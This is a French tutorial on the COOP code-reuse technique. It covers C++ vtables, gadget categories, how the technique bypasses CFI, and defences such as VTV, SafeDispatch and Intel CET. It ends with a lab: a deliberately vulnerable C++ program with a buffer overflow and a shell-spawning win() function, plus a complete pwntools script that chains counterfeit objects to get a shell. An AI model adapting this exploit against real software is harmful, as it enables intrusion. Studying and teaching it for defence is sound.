01 - Introduction au COOP
Le Counterfeit Object-Oriented Programming (COOP) est une technique d'exploitation avancée publiée en 2015 par Luk Gaspard Schuster, Lucas Davi et Ahmad-Reza Sadeghi, présentée à l'IEEE Symposium on Security and Privacy. Elle représente une évolution majeure dans la famille des attaques dites de réutilisation de code.
Pourquoi le COOP a été inventé
Pour comprendre l'intérêt du COOP, il faut retracer l'histoire des défenses contre les vulnérabilités mémoire. Pendant longtemps, un attaquant pouvait injecter du code malveillant directement dans la mémoire d'un programme vulnérable et le faire exécuter. Des protections comme le NX/DEP ont mis fin à cette approche en rendant les zones mémoire soit exécutables, soit accessibles en écriture, jamais les deux simultanément.
La communauté offensive a répondu avec le Return-Oriented Programming (ROP) : plutôt que d'injecter du code, on réutilise des fragments de code légitime déjà présents dans le binaire, en les enchaînant via la pile. Les défenses ont alors évolué vers le Control-Flow Integrity (CFI), qui vérifie que les sauts indirects respectent un graphe de flux de contrôle préétabli. Face à CFI, les chaînes ROP échouent car elles appellent des adresses arbitraires au milieu de fonctions.
C'est précisément contre CFI que le COOP est né. L'idée centrale : utiliser les mécanismes internes du C++ (en particulier les appels de méthodes virtuelles via les vtables) pour construire une chaîne d'exécution qui respecte formellement CFI tout en réalisant des actions arbitraires.
Le COOP est l'équivalent du ROP pour le monde orienté objet. Au lieu de chaîner des gadgets assembleur, on chaîne des méthodes virtuelles C++ légitimes, contournant ainsi CFI en restant dans les cibles autorisées.
Dans quel contexte est-il utilisé ?
Le COOP cible principalement les applications C++ utilisant massivement le polymorphisme : navigateurs web (Chrome, Firefox, Internet Explorer), serveurs d'application, suites bureautiques, systèmes embarqués. Ces logiciels contiennent des milliers de méthodes virtuelles, offrant un vaste catalogue de gadgets potentiels. Les recherches initiales ont notamment ciblé Internet Explorer et Firefox pour démontrer la faisabilité de la technique.
02 - Prérequis : classes, objets et mémoire
Qu'est-ce qu'une classe ?
En programmation, une classe est un modèle, un plan de construction. Elle décrit la structure et le comportement d'une entité. Concrètement, une classe définit deux choses : des attributs (les données que l'entité possède) et des méthodes (les actions que l'entité peut effectuer).
Pensez à une classe comme à un moule à gâteaux. Le moule lui-même n'est pas un gâteau, mais il définit la forme que tous les gâteaux produits avec ce moule auront. Le moule, c'est la classe. Le gâteau, c'est l'objet.
// Définition d'une classe Voiture class Voiture { public: int vitesse; // attribut : une donnée char couleur[16]; // attribut : une donnée void accelerer() { // méthode : une action vitesse += 10; } };
Qu'est-ce qu'un objet ?
Un objet est une instance concrète d'une classe. C'est le gâteau créé à partir du moule. Lorsqu'on écrit Voiture maVoiture; en C++, on crée un objet de type Voiture. Cet objet occupe un espace réel en mémoire : il stocke ses propres valeurs pour vitesse et couleur.
On peut créer autant d'objets que l'on veut à partir d'une même classe. Chaque objet a ses propres données, mais tous partagent les mêmes méthodes (le code des méthodes n'est stocké qu'une seule fois en mémoire, pas dans chaque objet).
L'héritage et le polymorphisme
Le C++ permet à une classe de dériver d'une autre. Une classe Chien peut hériter de la classe Animal : elle récupère tous les attributs et méthodes d'Animal, et peut en ajouter ou en redéfinir. C'est l'héritage.
Le polymorphisme est la capacité d'un même code à traiter des objets de types différents de façon uniforme. Si on a un pointeur de type Animal* qui pointe vers un objet Chien, et qu'on appelle animal->parler(), c'est bien la méthode de Chien qui est appelée, pas celle d'Animal. C'est le mécanisme virtuel qui rend cela possible.
class Animal { public: virtual void parler() { /* ... */ } // méthode virtuelle }; class Chien : public Animal { public: virtual void parler() override { // redéfinition /* Woof! */ } };
Le mot-clé virtual indique au compilateur que cette méthode peut être redéfinie par une classe dérivée, et que le choix de la bonne version doit être fait à l'exécution, pas à la compilation. C'est cette résolution à l'exécution qui nécessite un mécanisme spécial : la vtable.
Comment un objet est représenté en mémoire
Lorsqu'une classe contient au moins une méthode virtuelle, le compilateur insère automatiquement un champ caché au début de chaque objet : le vptr (virtual pointer). Ce pointeur, invisible dans le code source, est placé à l'offset 0 de l'objet et pointe vers la vtable de sa classe. Le reste de l'objet contient ses attributs normaux.
Le vptr est inséré par le compilateur. Il n'est pas visible dans le code source. Il occupe toujours les 8 premiers octets d'un objet avec méthodes virtuelles en 64 bits.
Pourquoi cela intéresse un attaquant
Si un attaquant peut modifier la valeur du vptr d'un objet (en exploitant un débordement de buffer sur le tas, un use-after-free, ou tout autre accès mémoire hors-limites), il contrôle quelle adresse sera appelée lors du prochain dispatch virtuel. C'est le point d'entrée fondamental du COOP.
Dans ROP, on écrase l'adresse de retour sur la pile. Dans COOP, on écrase le vptr d'un objet sur le tas. Le vecteur est différent, ce qui explique en partie pourquoi certaines protections ciblant la pile ne s'appliquent pas.
03 - Les vtables en détail
Comment le compilateur génère les vtables
Lorsque le compilateur C++ rencontre une classe avec des méthodes virtuelles, il crée une structure de données appelée vtable (virtual dispatch table). Cette vtable est générée une seule fois par classe concrète, placée dans le segment en lecture seule du binaire (.rodata), et partagée entre toutes les instances de cette classe.
Concrètement, une vtable est un simple tableau de pointeurs de fonctions. L'ordre des entrées correspond à l'ordre de déclaration des méthodes virtuelles dans la hiérarchie de classes. Chaque entrée contient l'adresse de l'implémentation concrète de la méthode correspondante pour cette classe.
| Entrée vtable | vtable de Animal | vtable de Chien | vtable de Chat |
|---|---|---|---|
vtable[0] | &Animal::parler | &Chien::parler (override) | &Chat::parler (override) |
vtable[1] | &Animal::bouger | &Animal::bouger (hérité) | &Chat::bouger (override) |
vtable[2] | &Animal::mourir | &Animal::mourir (hérité) | &Animal::mourir (hérité) |
Comment un objet référence sa vtable
Au moment de la construction d'un objet (dans son constructeur), le compilateur insère automatiquement une instruction qui écrit l'adresse de la vtable appropriée dans le champ vptr de l'objet. Ce code est invisible dans le source mais bien présent dans le binaire compilé. Voici ce que le compilateur génère conceptuellement pour un constructeur :
Chien::Chien() { // Code inséré automatiquement par le compilateur : this->vptr = &vtable_Chien; // ← invisible dans le source // Code normal du constructeur... }
Ainsi, dès qu'un objet est créé, son vptr est immédiatement initialisé. Tous les objets de type Chien auront le même vptr pointant vers la même vtable, mais chacun aura ses propres attributs.
Comment fonctionne un appel virtuel
Lorsque le code source contient animal->parler() où animal est un pointeur de type Animal*, le compilateur ne peut pas savoir à la compilation quelle implémentation appeler (l'objet réel pourrait être un Chien ou un Chat). Il génère donc un appel indirect en plusieurs étapes :
animal. C'est l'adresse de la vtable.parler() dans la vtable (par exemple, offset 0 si c'est la première méthode virtuelle).this).En assembleur x86-64, cette séquence ressemble à :
; rdi = pointeur vers l'objet (this) mov rax, [rdi] ; charge le vptr (8 octets à offset 0 de l'objet) ; rax contient maintenant l'adresse de la vtable call [rax + 0x00] ; charge vtable[0] et saute à cette adresse ; pour la première méthode virtuelle (index 0)
Si on voulait appeler la deuxième méthode virtuelle (index 1), ce serait call [rax + 0x08] (chaque entrée fait 8 octets en 64 bits). La troisième méthode serait à [rax + 0x10], et ainsi de suite.
Comment le processeur résout une fonction virtuelle à l'exécution
Reprenons l'exemple avec un objet Chien pointé par un Animal*. Voici ce qui se passe réellement lorsque animal->parler() est exécuté :
Ce mécanisme est élégant et efficace, mais il repose entièrement sur la confiance que le vptr est valide et intègre. Si l'attaquant parvient à modifier ce pointeur, toute la mécanique de résolution lui obéit.
Pourquoi ces mécanismes deviennent intéressants pour un attaquant
La vtable est en .rodata (lecture seule) : on ne peut pas la modifier directement. Mais le vptr, lui, est dans l'objet, sur le tas (heap), une zone en lecture-écriture. Si un attaquant peut écrire dans un objet C++ sur le tas (via un buffer overflow, un use-after-free, etc.), il peut remplacer le vptr par une adresse de son choix. C'est l'essence du vtable hijacking, la technique sous-jacente au COOP.
Dès lors, le prochain appel de méthode virtuelle sur cet objet ne lira plus la vraie vtable de la classe, mais la fausse vtable construite par l'attaquant. Celui-ci contrôle donc quelle adresse est appelée, tout en passant par le mécanisme de dispatch virtuel standard du compilateur.
CFI surveille les appels indirects mais accepte tout appel qui cible une vraie méthode virtuelle. Si l'attaquant pointe vers de vraies méthodes (mais dans un ordre et avec des données qu'il contrôle), CFI ne voit rien d'anormal. C'est précisément ce que COOP exploite.
04 - COOP : définition, origine et objectifs
Le problème que CFI posait au ROP
CFI est une famille de mécanismes qui, lors des appels indirects (via un pointeur de fonction ou un vptr), vérifie que la cible de l'appel est bien une cible légitime selon un graphe de flux de contrôle. CFI coarse-grained accepte toute fonction dont la signature correspond ; CFI fine-grained vérifie que l'appel correspond précisément à un site d'appel valide. Face à CFI, les chaînes ROP échouent car elles appellent des adresses arbitraires au milieu de fonctions.
L'insight central du COOP
Les appels de méthodes virtuelles sont par nature des appels indirects, mais ils sont tous légitimes du point de vue de CFI puisqu'ils ciblent des méthodes réelles du programme. Si l'on peut construire une chaîne d'appels de méthodes virtuelles qui, ensemble, réalisent un calcul arbitraire, on obtient un bypass de CFI complet.
Dans COOP, chaque appel est légitime individuellement. C'est leur composition qui est malveillante. CFI ne peut pas détecter cette forme d'attaque sans une analyse sémantique du comportement de la chaîne.
Terminologie : les "counterfeit objects"
Le terme "counterfeit" (contrefait) désigne des objets C++ construits artificiellement par l'attaquant dans les zones mémoire qu'il contrôle. Ces objets ne sont pas de vraies instances de classe puisqu'ils n'ont pas été alloués via new, mais ils ressemblent à des objets légitimes : ils possèdent un vptr valide pointant vers une vraie vtable, et leurs champs de données sont soigneusement contrôlés. Quand le code légitime appelle une méthode virtuelle sur l'un de ces objets contrefaits, il exécute une vraie méthode, mais avec des données sous le contrôle de l'attaquant.
Condition d'applicabilité
vptr d'un objet existant, ou de placer un objet contrefait à une adresse qui sera utilisée comme pointeur.05 - Les gadgets COOP
Par analogie avec le ROP, un gadget COOP est une méthode virtuelle dont le comportement peut être utilisé dans le cadre d'une exploitation. Les auteurs de la recherche initiale ont défini plusieurs catégories de gadgets, selon leur rôle dans la chaîne d'exploitation.
Main-loop gadget (ou vfDispatch)
C'est le gadget le plus important. Il sert à itérer sur une collection d'objets et à appeler une méthode virtuelle sur chacun d'eux. C'est lui qui fournit la boucle de dispatch, c'est-à-dire le mécanisme qui permettra d'appeler séquentiellement tous les autres gadgets. Sans main-loop gadget, on ne peut pas construire de chaîne COOP longue.
// Exemple conceptuel d'un main-loop gadget void Container::processAll() { for (auto* obj : this->items) { obj->doAction(); // appel virtuel sur chaque objet de la liste } }
L'attaquant contrôle la liste items : il y place ses objets contrefaits dans l'ordre souhaité. À chaque itération, une méthode virtuelle est appelée sur l'objet courant, activant le gadget correspondant.
Forward gadget (ou vfDispatchSingle)
Un forward gadget délègue simplement l'appel à un autre objet, en appelant une méthode virtuelle sur un pointeur qu'il contient. Il permet de propager le flux de contrôle d'un objet contrefait à un autre, même en dehors de la boucle principale.
// Forward gadget : délègue le dispatch vers un autre objet via un pointeur interne class Forwarder : public Base { public: Base* next; // pointeur vers l'objet suivant dans la chaîne virtual void action() override { if (this->next) this->next->action(); // appel virtuel sur l'objet suivant // → dispatch via vptr de next } }; // L'attaquant contrôle le champ `next` de l'objet contrefait. // Il peut ainsi propager le flux de contrôle vers n'importe quel // gadget COOP de son choix, en dehors de toute boucle principale.
Cela crée des chaînes linéaires : objet A appelle objet B qui appelle objet C, sans avoir besoin d'un main-loop gadget.
Load / Store gadget
Ces gadgets permettent de lire ou d'écrire en mémoire à des adresses arbitraires. Un load gadget lit une valeur depuis une adresse dérivée des champs de l'objet, et un store gadget y écrit. Ils permettent à l'attaquant de préparer des données, de lire des valeurs du processus, ou d'écrire dans des zones importantes (comme un pointeur de fonction).
// Load gadget : lit une valeur depuis une adresse dérivée des champs de l'objet class Loader : public Base { public: void** src; // adresse source (contrôlée par l'attaquant) void** dst; // adresse de destination virtual void action() override { *this->dst = *this->src; // load : *dst ← *src } }; // Store gadget : écrit une valeur à une adresse dérivée des champs de l'objet class Storer : public Base { public: void** target; // adresse cible (contrôlée par l'attaquant) void* value; // valeur à écrire virtual void action() override { *this->target = this->value; // store : *target ← value } }; // Usage typique : préparer un argument (ex. chaîne "/bin/sh") // avant un gadget invoke qui appelle system().
Gadget arithmétique
Ces gadgets effectuent des opérations arithmétiques ou logiques sur des champs de l'objet. Ils permettent de calculer des adresses, d'incrémenter des compteurs, de dériver des valeurs. Bien que moins courants sous cette forme pure, ils sont souvent présents dans du code C++ complexe (calculs sur des index, offsets, masques).
// Gadget arithmétique : effectue une opération sur les champs de l'objet class Adder : public Base { public: uint64_t* target; // adresse de la variable à modifier uint64_t delta; // valeur à additionner (contrôlée par l'attaquant) virtual void action() override { *this->target += this->delta; // *target ← *target + delta } }; // Cas d'usage : calculer l'adresse d'une fonction (ASLR base + offset), // incrémenter un index, appliquer un masque. // Souvent présent dans du code manipulant des conteneurs STL, // des matrices, ou des moteurs de calcul.
Invoke gadget (appel de fonction)
L'invoke gadget est le gadget "terminal" : il appelle une fonction dont le pointeur est stocké dans un champ de l'objet. C'est lui qui permet d'exécuter une action finale arbitraire, telle qu'appeler system(), execve(), ou toute autre fonction dont l'attaquant a pu placer l'adresse dans l'objet contrefait.
// Forward gadget : délègue le flux vers l'objet suivant void Forward::trigger() { if (this->next != nullptr) this->next->trigger(); // dispatch vers l'objet suivant } // Invoke / Execute gadget void Execute::trigger() { func(); // appel du pointeur de fonction stocké dans l'objet }
Tous les programmes C++ n'ont pas nécessairement un main-loop gadget "parfait". Dans ce cas, l'attaquant peut se contenter de chaînes linéaires via des forward gadgets, ou chercher d'autres patterns de dispatch.
06 - Mécanisme d'exploitation
Vue d'ensemble de la chaîne
Étape 1 : identifier la vulnérabilité et la zone contrôlable
L'attaquant commence par identifier une vulnérabilité qui lui permet d'écrire des données arbitraires dans la mémoire du processus. Il doit également identifier une zone mémoire dont il contrôle le contenu et dont l'adresse est connue ou calculable.
Étape 2 : construire les objets contrefaits
Dans la zone mémoire contrôlée, l'attaquant construit manuellement une ou plusieurs structures qui ressemblent à des objets C++ légitimes. Chaque objet contrefait commence par un vptr pointant vers la vtable d'une classe réelle du programme. Les champs suivants sont positionnés pour que la méthode ciblée se comporte comme le gadget souhaité.
Étape 3 : détournement du vptr
L'attaquant exploite la vulnérabilité pour écraser le vptr d'un objet légitime utilisé par le programme par l'adresse de son premier objet contrefait. Dès que le programme appelle une méthode virtuelle sur cet objet, le dispatch se fait via la vtable contrefaite.
Étape 4 : exécution de la chaîne
Le programme appelle une méthode virtuelle sur l'objet corrompu. Le dispatch virtuel charge le vptr contrefait, indexe la vtable d'une classe réelle, et appelle la méthode correspondante, laquelle se trouve être un gadget COOP. Ce gadget lit ses champs (contrôlés par l'attaquant) et appelle une méthode virtuelle sur le prochain objet de la chaîne. La chaîne se propage jusqu'au gadget final qui exécute l'action souhaitée.
Pourquoi CFI ne détecte pas cela ?
À chaque étape, l'appel respecte les contraintes de CFI : un appel via un vptr cible bien une méthode virtuelle réelle. CFI coarse-grained vérifie uniquement que la signature de la méthode correspond, ce qui est vrai. CFI fine-grained plus strict peut vérifier que le type de l'objet est cohérent, mais les implémentations réelles laissent encore des marges. La technique reste un défi actif pour les designers de CFI.
07 - Avantages et limites du COOP
| Technique | Cible | Bypass NX/DEP | Bypass CFI | Complexité |
|---|---|---|---|---|
| ret2libc | Adresse de retour | Oui | Non | Faible |
| ROP | Pile (ret addr) | Oui | Non | Moyenne |
| JOP | Pointeurs de fonction | Oui | Partiel | Élevée |
| COOP | vptr (tas) | Oui | Oui (coarse) | Très élevée |
Comparaison avec les mécanismes de défense
| Défense | Ce qu'elle protège | COOP | Raison |
|---|---|---|---|
| DEP / NX | Empêche l'exécution de code dans les zones de données | Contourne | COOP n'injecte aucun code. Tout le code exécuté est légitime et déjà dans le segment exécutable. |
| ASLR | Randomise les adresses de base du heap, stack et des bibliothèques | Partiel | ASLR complique COOP car les adresses vtables sont inconnues. Contournable avec une fuite d'adresse ou sur les binaires non-PIE. |
| Stack Canaries | Détecte les écrasements de l'adresse de retour sur la pile | Contourne | COOP écrase le vptr sur le tas, pas la pile. Les canaries ne surveillent pas le tas. |
| CFI (coarse) | Vérifie que les appels indirects ciblent des fonctions de signature compatible | Contourne | COOP appelle uniquement de vraies méthodes virtuelles dont la signature est conforme. CFI coarse ne distingue pas un appel légitime d'un gadget COOP. |
| CFI (fine-grained) | Vérifie que chaque appel indirect cible une fonction valide pour ce site d'appel précis | Partiel | CFI fin peut vérifier que le type de l'objet correspond au type attendu au site d'appel. Cela complique COOP mais ne l'élimine pas toujours. |
| CFG (Control Flow Guard) | Implémentation Microsoft de CFI coarse-grained (bitmap de fonctions valides) | Contourne | COOP utilisant de vraies méthodes, elles sont toutes dans le bitmap autorisé. |
| VTGuard | Protège l'intégrité des vtables avec un cookie secret (MSVC) | Partiel | VTGuard insère un cookie dans la vtable. Si l'attaquant ne peut pas lire ce cookie (sans fuite), il ne peut pas construire de fausses vtables valides. Avec une fuite, VTGuard est contournable. |
| Intel CET | Shadow stack (ret) et IBT (instruction ENDBR64 obligatoire) | Partiel | CET IBT exige que les cibles d'appels indirects soient marquées avec une instruction ENDBR64. Les vraies méthodes virtuelles le sont. COOP reste fonctionnel si les gadgets ciblés ont ENDBR64. |
| Shadow Stack | Copie sécurisée des adresses de retour, distincte de la pile normale | Contourne | COOP ne manipule pas les adresses de retour. Il fonctionne via des appels (call), pas des sauts sur la pile. La shadow stack ne surveille pas les appels. |
Les impacts sur la recherche en sécurité offensive et défensive
Du côté offensif, COOP a montré que CFI, longtemps considéré comme une protection solide, peut être contourné de façon systématique sur les applications C++. Cela a motivé le développement d'outils automatiques de recherche de gadgets COOP dans les binaires, et des travaux sur des variantes (COP, JOP fine-grained, etc.).
Du côté défensif, COOP a accéléré la recherche sur la vérification fine des types d'objets lors des dispatches virtuels (SafeDispatch, TypeArmor, VTrust), et sur l'isolation des données sensibles comme les vptrs. Il a également motivé des extensions matérielles comme Intel CET qui, si elles ne bloquent pas COOP complètement, réduisent significativement la surface d'attaque en combinaison avec d'autres protections.
COOP a démontré que la sécurité par réutilisation de code ne peut pas être résolue par un seul mécanisme. La défense en profondeur reste la seule approche viable.
08 - Contre-mesures et protections
Face à COOP et aux techniques de vtable hijacking en général, la communauté de recherche en sécurité a développé plusieurs familles de protections. Voici les principales, de la moins à la plus rigoureuse.
CFI avancé (Control-Flow Integrity fine-grained)
Le CFI avancé affine la vérification des appels indirects en utilisant des informations de type : au site d'appel obj->method(), on vérifie non seulement que la cible est une méthode valide, mais qu'elle appartient bien au type de obj ou à un sous-type compatible. Cela réduit considérablement le nombre de méthodes acceptables à chaque site d'appel, réduisant la surface d'attaque COOP. Les implémentations incluent LLVM CFI (Clang), qui utilise les informations RTTI pour valider les types à l'exécution.
Vtable Verification (VTV) et Virtual Table Integrity (VTI)
VTV (GCC) insère, avant chaque appel de méthode virtuelle, une vérification que le vptr pointe vers une vtable d'un type compatible avec le type de l'objet. Un ensemble de vtables valides pour chaque site d'appel est calculé à la compilation. À l'exécution, si le vptr ne fait pas partie de cet ensemble, le programme est terminé. Cela empêche directement le vtable hijacking : un vptr écrasé avec une adresse inconnue sera rejeté. VTI fonctionne similairement avec une approche basée sur un ensemble d'empreintes de vtables légitimes.
VTGuard (Microsoft MSVC)
VTGuard insère un cookie secret (valeur aléatoire calculée à la compilation et au démarrage) dans chaque vtable. Avant d'utiliser un vptr, le code vérifie que le cookie présent dans la vtable pointée est bien valide. Un attaquant qui écrase le vptr avec une fausse adresse doit également fournir le bon cookie, qu'il ne connaît pas sans une fuite d'information préalable. C'est une protection probabiliste : efficace si le cookie reste secret, contournable si une fuite existe.
SafeDispatch
SafeDispatch est une technique de recherche qui analyse statiquement le programme pour déterminer, pour chaque site d'appel virtuel, l'ensemble exact des implémentations qui peuvent légitimement être appelées. À l'exécution, une vérification de type est insérée pour s'assurer que le vptr pointe vers une vtable dans cet ensemble. Par rapport à VTV, SafeDispatch est plus précis : il réduit davantage l'ensemble des cibles valides, limitant les gadgets utilisables dans COOP.
TypeArmor
TypeArmor est une approche qui opère directement sur les binaires compilés (sans code source). Il analyse le binaire pour inférer les types des appels indirects, et limite à l'exécution le nombre de fonctions qu'un pointeur donné peut appeler. Contrairement aux protections basées sur le source, TypeArmor peut être appliqué à des logiciels tiers dont on n'a pas le code. Il réduit significativement la surface des gadgets COOP utilisables.
CPI (Code Pointer Integrity)
CPI protège tous les pointeurs de code (pointeurs de fonctions, vptrs, adresses de retour) en les plaçant dans une région mémoire séparée et sécurisée, inaccessible via des exploits ordinaires. Même en présence d'un buffer overflow sur le tas, l'attaquant ne peut pas accéder à la région CPI pour modifier les vptrs. C'est une protection très forte sur le papier, mais dont la robustesse dépend de l'isolation de la région sécurisée, ce qui reste un défi sur les architectures sans support matériel.
VTrust
VTrust combine deux techniques : une vérification de l'alignement des vptrs (les vtables sont alignées sur des frontières prévisibles) et une validation du contenu des vtables au moment de leur utilisation. VTrust est conçu pour être plus léger que SafeDispatch tout en offrant une protection contre COOP, en rejetant les vptrs qui ne pointent pas vers des vtables reconnues dans l'ensemble valide calculé à la compilation.
Intel CET (Control-flow Enforcement Technology)
Intel CET introduit deux mécanismes matériels. La shadow stack maintient une copie séparée et protégée des adresses de retour, empêchant leur écrasement (protège contre ROP, pas directement contre COOP). L'Indirect Branch Tracking (IBT) exige que toute cible d'un saut ou appel indirect commence par une instruction spéciale endbr64. Cela complique la création de chaînes en réduisant les gadgets valides. Cependant, les vraies méthodes virtuelles C++ ont toutes endbr64, donc COOP pur reste fonctionnel face à IBT seul.
Autres protections récentes
Des travaux récents explorent l'isolation des métadonnées d'objets (Object Metadata Integrity), le chiffrement des vptrs en mémoire (XOR avec une clé secrète, décryptage uniquement lors du dispatch), les approches basées sur la Pointer Authentication d'ARM (PAC) qui signe cryptographiquement chaque pointeur de code, et les techniques de sandboxing par type d'objet dans des allocateurs spécialisés. Aucune protection individuelle n'est suffisante contre un attaquant déterminé : c'est leur combinaison qui crée une défense solide.
La défense en profondeur reste la seule réponse complète : ASLR actif (PIE) + CFI fine-grained (-fsanitize=cfi-vcall) + allocateur sécurisé + Intel CET + sandboxing processus. Chaque couche réduit indépendamment la surface d'attaque.
09 - Lab pratique : analyse et exploitation
Code source C++ complet
/* g++ -no-pie -fno-stack-protector -g coop.cpp -o coop -no-pie : adresses fixes, pas d'ASLR (facilite l'exercice) -fno-stack-protector : supprime les canaries de pile -g : conserve les symboles de debug */ #include <iostream> #include <cstring> #include <unistd.h> void win() { system("/bin/sh"); } class Gadget { public: virtual void trigger() = 0; }; class Forward : public Gadget { public: Gadget* next; Forward(Gadget* n) : next(n) {} virtual void trigger() override { if (next) next->trigger(); } }; class Execute : public Gadget { public: void (*func)(); Execute(void (*f)()) : func(f) {} virtual void trigger() override { func(); } }; class Data { public: char buf[32]; Gadget* gadget; Data() : gadget(nullptr) { memset(buf, 0, sizeof(buf)); } virtual void process() { if (gadget) gadget->trigger(); } }; Data data; // adresse fixe (car -no-pie) // Instances globales : forcent la génération des vtables Forward dummyForward(nullptr); Execute dummyExecute(nullptr); int main() { setvbuf(stdout, nullptr, _IONBF, 0); setvbuf(stdin, nullptr, _IONBF, 0); std::cout << "=== COOP Challenge (Forward & Execute) ===" << std::endl; std::cout << "Enter payload (max 128 bytes): "; char input[128]; ssize_t n = read(0, input, sizeof(input)); if (n > 0) { memcpy(data.buf, input, n); // VULNÉRABILITÉ : 128 octets dans buf[32] } data.process(); return 0; }
Analyse des classes et de la structure mémoire
Classe Gadget : la base abstraite
Gadget est une classe abstraite pure : elle déclare trigger() avec = 0. On ne peut pas l'instancier directement, mais toutes les classes dérivées partagent cette interface. En mémoire, tout objet dérivé de Gadget aura un vptr à l'offset 0. La vtable ne contient qu'une seule entrée (trigger() à l'index 0), car Gadget n'a qu'une seule méthode virtuelle.
Classe Forward : le gadget de propagation
C'est un forward gadget au sens COOP : trigger() appelle next->trigger(). Si l'attaquant contrôle next, il contrôle vers quel objet la chaîne se propage.
Classe Execute : le gadget terminal
C'est un invoke gadget : trigger() appelle this->func(). Si l'attaquant place &win dans func, le shell est obtenu.
Classe Data : l'objet vulnérable
La variable globale data est l'objet utilisé directement par le programme. Compilée avec -no-pie, son adresse est fixe et lisible dans la table ELF. Elle contient buf[32] puis gadget qui sont adjacents en mémoire, ce qui rend l'overflow possible.
Rôle des instances globales dummyForward et dummyExecute
Ces deux lignes forcent le compilateur à générer et inclure les vtables de Forward et Execute dans le binaire final. Sans instance de ces classes, un compilateur agressif pourrait éliminer leurs vtables comme code mort. En créant des instances globales, on garantit que les symboles _ZN7Forward7triggerEv et _ZN7Execute7triggerEv sont présents dans la table ELF et résolubles par pwntools via elf.symbols[...].
Le C++ encode les noms de fonctions selon l'ABI Itanium : _ZN7Forward7triggerEv signifie "dans le namespace Forward (7 lettres), la méthode trigger (7 lettres), sans argument (v = void)". C'est ce nom mangled que le linker et pwntools utilisent pour trouver l'adresse de la fonction.
Stratégie d'exploitation
L'objectif est de faire appeler win(). Le programme exécute data.process(), qui appelle data.gadget->trigger(). Il faut donc :
obj1 à l'offset 32 du payload (soit la position de data.gadget en mémoire).vptr → vtable1, next → obj2. Quand trigger() sera appelé, il propagera vers obj2.vptr → vtable2, next → obj3. Deuxième maillon de la chaîne.vptr → vtable3, func → &win. Le gadget terminal qui déclenche l'exécution.Pourquoi des mini-vtables dans buf suffisent
La classe Gadget n'a qu'une seule méthode virtuelle (trigger()). Sa vtable ne contient donc qu'une seule entrée de 8 octets. Une "mini-vtable" valide se réduit à un unique pointeur de fonction. L'attaquant peut construire ces mini-vtables directement dans les premiers octets de buf :
Quand le dispatch virtuel se produit (mov rax, [obj1] puis call [rax + 0]), il charge rax = vtable1 = buf_start + 0, puis lit l'adresse stockée à cet emplacement, soit &Forward::trigger. C'est exactement ce dont le dispatch a besoin : pas d'entrées supplémentaires, ni de métadonnées. La mini-vtable est fonctionnellement complète.
Cette technique ne fonctionne que parce que Gadget n'a qu'une seule méthode virtuelle. Si la hiérarchie en avait plusieurs, la vtable serait plus grande et chaque offset devrait être soigneusement calculé.
Analyse : la vulnérabilité et la structure mémoire
memcpy(data.buf, input, n) copie jusqu'à 128 octets dans buf qui n'en fait que 32. Le dépassement de 96 octets possible écrase data.gadget situé à l'offset +32 depuis buf_start. C'est ce pointeur que data.process() déréférence pour appeler trigger().
Plan du payload (88 octets depuis buf_start)
Script d'exploitation complet
#!/usr/bin/env python3 from pwn import * BIN = './coop' elf = ELF(BIN) # Récupération des adresses des méthodes # Les noms mangled (_ZN...) sont la convention ABI C++ pour encoder les noms. forward_trigger = elf.symbols['_ZN7Forward7triggerEv'] # Forward::trigger execute_trigger = elf.symbols['_ZN7Execute7triggerEv'] # Execute::trigger win_addr = elf.symbols['_Z3winv'] # win() sh = process(BIN) # L'adresse de data est fixe car le binaire est compilé avec -no-pie. # Sans ASLR, cette adresse ne change jamais entre les exécutions. data_addr = 0x4041e0 log.success(f'data @ {hex(data_addr)}') # buf_start : début du tampon data.buf. # Le vptr de Data occupe les 8 premiers octets de l'objet, # donc data.buf commence à data_addr + 8. buf_start = data_addr + 8 # = 0x4041e8 # Calcul des adresses relatives vtable1 = buf_start + 0 vtable2 = buf_start + 8 vtable3 = buf_start + 16 obj1 = buf_start + 40 obj2 = buf_start + 56 obj3 = buf_start + 72 payload = bytearray(128) # Place les vtables payload[0:8] = p64(forward_trigger) payload[8:16] = p64(forward_trigger) payload[16:24] = p64(execute_trigger) # Écrase data.gadget (à l'offset 32 du payload) avec l'adresse de obj1 payload[32:40] = p64(obj1) # Construit obj1 (fake Forward) payload[40:48] = p64(vtable1) # vptr1 payload[48:56] = p64(obj2) # next1 # Construit obj2 (fake Forward) payload[56:64] = p64(vtable2) # vptr2 payload[64:72] = p64(obj3) # next2 # Construit obj3 (fake Execute) payload[72:80] = p64(vtable3) # vptr3 payload[80:88] = p64(win_addr) # func → &win sh.send(payload[:88]) # envoi des 88 premiers octets sh.interactive()
Trace d'exécution étape par étape
read(0, input, 128) lit 88 octets. memcpy(data.buf, input, 88) les copie à partir de 0x4041e8 : octets 0-31 → data.buf, octets 32-39 → data.gadget = adresse de obj1, octets 40-87 → objets contrefaits construits dans buf lui-même.data.process() vérifie gadget != nullptr (vrai) et appelle gadget->trigger(). Le dispatch charge [obj1+0] = vtable1, puis [vtable1+0] = &Forward::trigger. Appelé avec this = obj1.Forward::trigger avec this = obj1 : this->next (offset +8) = adresse de obj2. obj2->trigger() est appelé.this->next = adresse de obj3. obj3->trigger() est appelé. Le dispatch charge vtable3[0] = &Execute::trigger.Execute::trigger avec this = obj3 : this->func (offset +8) = adresse de win(). L'appel this->func() exécute win() → system("/bin/sh"). Shell obtenu.L'envoi de 88 octets déclenche la chaîne Forward → Forward → Execute → win() et ouvre un shell interactif. Cet exercice concentre en 88 octets tous les concepts fondamentaux du COOP : objets contrefaits, mini-vtables, chaîne de dispatch virtuel et gadget invoke terminal.
Ce que cet exercice illustre
Ce lab concentre en 88 octets l'ensemble des principes fondamentaux du COOP vus dans l'article :
obj1, obj2, obj3 ne sont pas de vraies instances allouées avec new. Ce sont des structures assemblées manuellement dans un buffer, avec un vptr valide et des champs contrôlés.next.Execute::trigger() joue le rôle du gadget qui réalise l'action finale. Il appelle le pointeur de fonction func contrôlé par l'attaquant, qui correspond ici à &win.-no-pie rend toutes les adresses prévisibles sans fuite préalable. En conditions réelles, une fuite d'adresse serait nécessaire pour calculer dynamiquement buf_start, les adresses des vtables et &win.obj1->trigger(), obj2->trigger(), obj3->trigger()), la cible est une vraie méthode virtuelle de la hiérarchie Gadget. Un CFI coarse-grained ne peut pas distinguer ces appels d'appels légitimes.Un exercice avancé : activer l'ASLR (-pie) et introduire une fuite d'adresse dans le programme (par exemple, en affichant l'adresse de data avant la lecture du payload). L'exploit devra alors calculer dynamiquement toutes les adresses à partir de cette fuite.
10 - Références
